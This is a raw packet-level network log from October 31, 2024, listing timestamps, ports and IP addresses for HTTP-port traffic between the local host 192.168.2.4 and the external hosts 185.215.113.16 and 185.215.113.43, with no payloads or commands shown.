Oct 31, 2024 04:15:16.988394022 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.988410950 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988423109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988452911 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.988529921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988540888 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988552094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988574982 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.988640070 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988656044 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988668919 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988681078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988683939 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.988692999 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988706112 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988707066 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.988754988 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.988831043 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988842010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988857985 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988882065 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.988904953 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.988929987 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988962889 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.988974094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.989003897 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.989059925 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.989072084 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.989083052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.989095926 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.989100933 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.989130020 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.989160061 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.989198923 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.989217043 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.989269018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.989281893 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.989311934 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.989322901 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.989378929 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.989389896 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.989401102 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.989414930 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.989424944 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.989449978 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.989521980 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.989533901 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.989545107 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.989557981 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.989567041 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.989592075 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.989670992 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.989731073 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.989768028 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.989774942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.989789963 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.989826918 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.989888906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.989902020 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.989912033 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.989926100 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.989929914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.989950895 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.990091085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.990102053 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.990112066 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.990124941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.990135908 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.990139008 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.990149975 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.990159988 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.990161896 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.990173101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.990181923 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.990185976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.990200043 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.990235090 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.990454912 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.990468025 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.990478992 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.990489960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.990504026 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.990531921 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.990721941 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.991364956 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.997409105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.997454882 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.997464895 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.997498989 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.997514009 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.997524977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.997550011 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.997553110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.997565031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.997585058 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.997589111 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.997613907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.997620106 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.997694969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.997706890 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.997716904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.997742891 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.997757912 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.004535913 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.004597902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.004609108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.004651070 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.004678965 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.004690886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.004708052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.004719019 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.004724979 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.004729986 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.004741907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.004765987 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.004796982 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.004839897 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.004839897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.004852057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.004889011 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.004915953 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.004926920 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.004942894 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.004954100 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.004960060 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.005004883 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.005023956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.005067110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.005079031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.005111933 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.005132914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.005153894 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.005177021 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.005213022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.005223989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.005250931 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.005254984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.005291939 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.005295038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.005306005 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.005338907 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.005376101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.005387068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.005397081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.005430937 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.005475044 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.005486965 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.005513906 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.005624056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.005661011 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.005676985 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.005687952 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.005722046 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.005795956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.005808115 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.005839109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.005846977 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.005851030 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.005870104 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.005881071 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.005891085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.005897999 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.005917072 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.006012917 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.006026030 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.006036043 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.006047010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.006063938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.006063938 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.006077051 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.006088972 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.006105900 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.006234884 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.006247044 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.006257057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.006270885 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.006283998 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.006320000 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.006392956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.006406069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.006416082 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.006429911 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.006436110 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.006442070 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.006453991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.006455898 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.006498098 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.048083067 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.060053110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.060075045 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.060084105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.060133934 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.091828108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.091840982 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.091850996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.091881990 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.091909885 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.091911077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.091922998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.091933966 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.091944933 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.091959000 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.091984987 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.092092991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.092103958 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.092114925 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.092127085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.092138052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.092152119 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.092179060 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.092272997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.092283964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.092294931 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.092309952 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.092322111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.092327118 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.092334986 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.092390060 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.092457056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.092526913 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.092538118 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.092547894 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.092564106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.092571020 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.092576027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.092587948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.092598915 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.092600107 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.092621088 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.092638016 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.092696905 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.092746019 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.092756987 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.092782974 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.092803955 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.092818022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:17.092849970 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:17.226385117 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:04.141988039 CET	49792	80	192.168.2.4	185.215.113.43
Oct 31, 2024 04:16:04.336477995 CET	80	49792	185.215.113.43	192.168.2.4
Oct 31, 2024 04:16:04.336561918 CET	49792	80	192.168.2.4	185.215.113.43
Oct 31, 2024 04:16:04.336805105 CET	49792	80	192.168.2.4	185.215.113.43
Oct 31, 2024 04:16:04.341597080 CET	80	49792	185.215.113.43	192.168.2.4
Oct 31, 2024 04:16:05.236510992 CET	80	49792	185.215.113.43	192.168.2.4
Oct 31, 2024 04:16:05.236706972 CET	49792	80	192.168.2.4	185.215.113.43
Oct 31, 2024 04:16:06.752105951 CET	49792	80	192.168.2.4	185.215.113.43
Oct 31, 2024 04:16:06.752403975 CET	49808	80	192.168.2.4	185.215.113.43
Oct 31, 2024 04:16:06.757184982 CET	80	49808	185.215.113.43	192.168.2.4
Oct 31, 2024 04:16:06.757210970 CET	80	49792	185.215.113.43	192.168.2.4
Oct 31, 2024 04:16:06.757256031 CET	49808	80	192.168.2.4	185.215.113.43
Oct 31, 2024 04:16:06.757298946 CET	49792	80	192.168.2.4	185.215.113.43
Oct 31, 2024 04:16:06.757493973 CET	49808	80	192.168.2.4	185.215.113.43
Oct 31, 2024 04:16:06.762306929 CET	80	49808	185.215.113.43	192.168.2.4
Oct 31, 2024 04:16:07.674863100 CET	80	49808	185.215.113.43	192.168.2.4
Oct 31, 2024 04:16:07.674940109 CET	49808	80	192.168.2.4	185.215.113.43
Oct 31, 2024 04:16:07.678316116 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:07.683165073 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:07.683284998 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:07.683387995 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:07.688946962 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.599526882 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.599548101 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.599564075 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.599576950 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.599595070 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.599616051 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.599616051 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.599633932 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.599647999 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.599648952 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.599666119 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.599680901 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.599723101 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.599724054 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.599740028 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.599761963 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.599787951 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.604537010 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.604604006 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.604610920 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.604655027 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.761868954 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.761899948 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.761929035 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.761944056 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.761960983 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.761976957 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.761998892 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.762046099 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.762428999 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.762479067 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.762537003 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.762587070 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.762624025 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.762639999 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.762681007 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.762984037 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.762999058 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.763014078 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.763035059 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.763047934 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.763062954 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.763084888 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.763101101 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.763115883 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.763124943 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.763154984 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.763962030 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.763984919 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.764000893 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.764008999 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.764017105 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.764024019 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.764045954 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.764050961 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.764065027 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.764066935 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.764094114 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.764101982 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.766838074 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.766901970 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.878715992 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.878743887 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.878777027 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.878798008 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.924278021 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.924288034 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.924318075 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.924334049 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.924345970 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.924387932 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.924454927 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.924482107 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.924484015 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.924499989 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.924529076 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.924544096 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.924560070 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.924587965 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.924614906 CET	49814	80	192.168.2.4	185.215.113.16
